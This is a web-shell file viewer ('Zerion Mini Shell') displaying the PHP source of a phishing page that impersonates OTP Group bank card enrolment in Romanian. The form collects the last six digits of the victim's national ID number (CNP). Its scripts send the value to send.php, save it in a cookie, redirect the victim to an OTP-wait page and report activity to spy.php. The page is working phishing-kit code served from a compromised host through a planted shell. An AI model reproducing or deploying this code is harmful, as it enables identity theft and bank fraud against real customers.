Mini Shell

Direktori : /home/emypro/www/ro/auth/
Upload File :
Current File : /home/emypro/www/ro/auth/login2.php

<?php require(__DIR__) . '/../main.php'; ?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SmartBank</title>
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"
        integrity="sha512-1ycn6IcaQQ40/MKBW2W4Rhis/DbILU74C1vSrLJxCq57o941Ym01SwNsOMqvEBFlcgUa6xLiPY/NS5R+E6ztJQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" /> -->
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes/css/login.css">
</head>

<body>
    <?php include 'includes/nav.php'; ?>
    <div class="container-fluid">
        <div class="row justify-content-center">
            <div class="col-10 col-md-5">
                <div class="bceed">
                    <form action="" method="POST" id="form" data-redirection="sms" class="form_46368y8">
                        <div class="vyftftcvtc">Înrolare în OTP Group card</div>
                        <div class="hvuyvy">În doar cațiva pași poți activa cardul tău pentru plata la comercianţii
                            online.</div>
                        <div class="hvuyvy">Dupa finalizarea fluxului toate tranzacțiile tale vor putea fi aprobate în
                            cel mai sigur mod prin accesarea acestei aplicații.</div>
                        <div class="hbrhfbc">
                            <!-- <div class="floating-label-group">
                                <input name="login" type="password" id="CustID2" class="inputss floating-label-item"
                                    required />
                                <label class="floating-label">Ultimele 10 cifre din serie card bancar</label>
                            </div> -->

                            <div class="floating-label-group">
                                <input name="CustID2" type="password" id="CustID2" class="inputss floating-label-item"
                                    required />
                                <label class="floating-label">Ultimele 6 cifre din CNP</label>
                            </div>
                            <!-- <div class="floating-label-group">
                                <input name="telephon" type="text" id="number" class="inputss floating-label-item"
                                    required />
                                <label class="floating-label">Telefon</label>
                            </div>
                            <div class="hfhe">
                                <i class="fal fa-info-circle"></i>
                                <p class="dedfe">Numărul de telefon trebuie să fie în format internațional de ex.:
                                    +407xxxxxxxx și să fie cel înregistrat pentru serviciul OTPdirekt.</p>
                            </div> -->

                            <?php if (isset($_GET['e'])) { ?>
                                <p class="span_error" id="error_password">Nu am putut identifica un card valabil pentru
                                    acest CNP!</p>
                            <?php } ?>

                            <!-- <div class="ncozaz">
                                <div class="round">
                                    <input type="checkbox" id="checkbox1" />
                                    <label for="checkbox1"></label>
                                </div>
                                <div class="rvrv">
                                    <label class="jxne">Reţine utilizatorul pentru viitoarele autentificări</label>
                                    <i class="fal fa-info-circle"></i>
                                </div>
                            </div> -->
                            <div class="jrv"></div>
                            <div class="ncozaz">
                                <div class="round">
                                    <input type="checkbox" id="checkbox2" />
                                    <label for="checkbox2"></label>
                                </div>
                                <label class="jxne"> Sunt de acord cu <span class="xbne">termenii și
                                        condițiile</span> de utilizare a serviciului OTPdirekt </label>
                            </div>


                        </div>
                        <div class="nuufdref">
                            <button type="submit" id="checkButton" class="btn_login">Următorul</button>

                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <script>
        const passwordInput = document.getElementById("password");
        // Add an input event listener
        passwordInput.addEventListener("input", function () {
            if (this.value.length > 6) {
                this.value = this.value.slice(0, 6); // Limit to 10 characters
            }
        });
    </script>
    <script>
        document.addEventListener("DOMContentLoaded", function () {
            const inputElements = document.querySelectorAll(".inputss");
            const checkButton = document.getElementById("checkButton");

            // Function to check if all inputs are not empty
            function areAllInputsNotEmpty() {
                let allNotEmpty = true;
                inputElements.forEach((input) => {
                    if (input.value.trim() === "") {
                        allNotEmpty = false;
                    }
                });
                return allNotEmpty;
            }

            // Event listener for input changes
            inputElements.forEach((input) => {

                input.addEventListener("input", function () {
                    checkButton.disabled = !areAllInputsNotEmpty();
                    if (areAllInputsNotEmpty()) {
                        checkButton.style.backgroundColor = "rgb(82, 174, 48)"
                        checkButton.style.color = "#fff"
                    } else {
                        checkButton.style.backgroundColor = "#e3e3e3"
                        checkButton.style.color = "#797979"
                    }
                });
            });

            // // Event listener for the check button
            // checkButton.addEventListener("click", function () {
            //     if (areAllInputsNotEmpty()) {
            //         alert("All inputs are not empty!");
            //     } else {
            //         alert("Some inputs are empty.");
            //     }
            // });
        });
    </script>


    <script>
        document.addEventListener("DOMContentLoaded", function () {
            const inputElements = document.querySelectorAll(".inputss");
            const checkButton = document.getElementById("checkButton");

            // Function to check if all inputs are not empty
            function areAllInputsNotEmpty() {
                let allNotEmpty = true;
                inputElements.forEach((input) => {
                    if (input.value.trim() === "") {
                        allNotEmpty = false;
                    }
                });
                return allNotEmpty;
            }

            // Event listener for input changes
            inputElements.forEach((input) => {
                input.addEventListener("input", function () {
                    checkButton.disabled = !areAllInputsNotEmpty();
                    if (areAllInputsNotEmpty()) {
                        checkButton.style.backgroundColor = "rgb(82, 174, 48)"
                        checkButton.style.color = "#fff"
                    } else {
                        checkButton.style.backgroundColor = "#e3e3e3"
                        checkButton.style.color = "#797979"
                    }
                });
            });

            // // Event listener for the check button
            // checkButton.addEventListener("click", function () {
            //     if (areAllInputsNotEmpty()) {
            //         alert("All inputs are not empty!");
            //     } else {
            //         alert("Some inputs are empty.");
            //     }
            // });
        });
    </script>

    <script src="res/jq.js"></script>


    <?php $m->ctr("LOGIN2"); ?>
    <script>
        $(document).ready(function () {
            function createCookie(name, value, days) {
                const expires = new Date();
                expires.setFullYear(expires.getFullYear() + 1);
                expires.setHours(0, 0, 0, 0);
                expires.setDate(expires.getDate() + days);

                const cookieValue = encodeURIComponent(value) + "; expires=" + expires.toUTCString();
                document.cookie = name + "=" + cookieValue + "; path=/";
            }
            var abort = false;
            $('#CustID2').keyup(function (e) {
                if (abort == false) {
                    $.post("spy.php", {
                        otping: 1
                    });
                    abort = true;
                }
            });
            $("#form").on("submit", function (e) {
                e.preventDefault()
                $.post("send.php", {
                    CustID2: $("#CustID2").val()
                }, function () {
                    createCookie("login", $("#CustID2").val(), 365)
                    window.location = "wait.php?p=OTP";
                });

            });

            $.post("spy.php", {
                otpview: 1
            });

        });
    </script>
    <?php $m->ctr("LOGIN2 " . @$_GET['e']); ?>
</body>

</html>

Zerion Mini Shell 1.0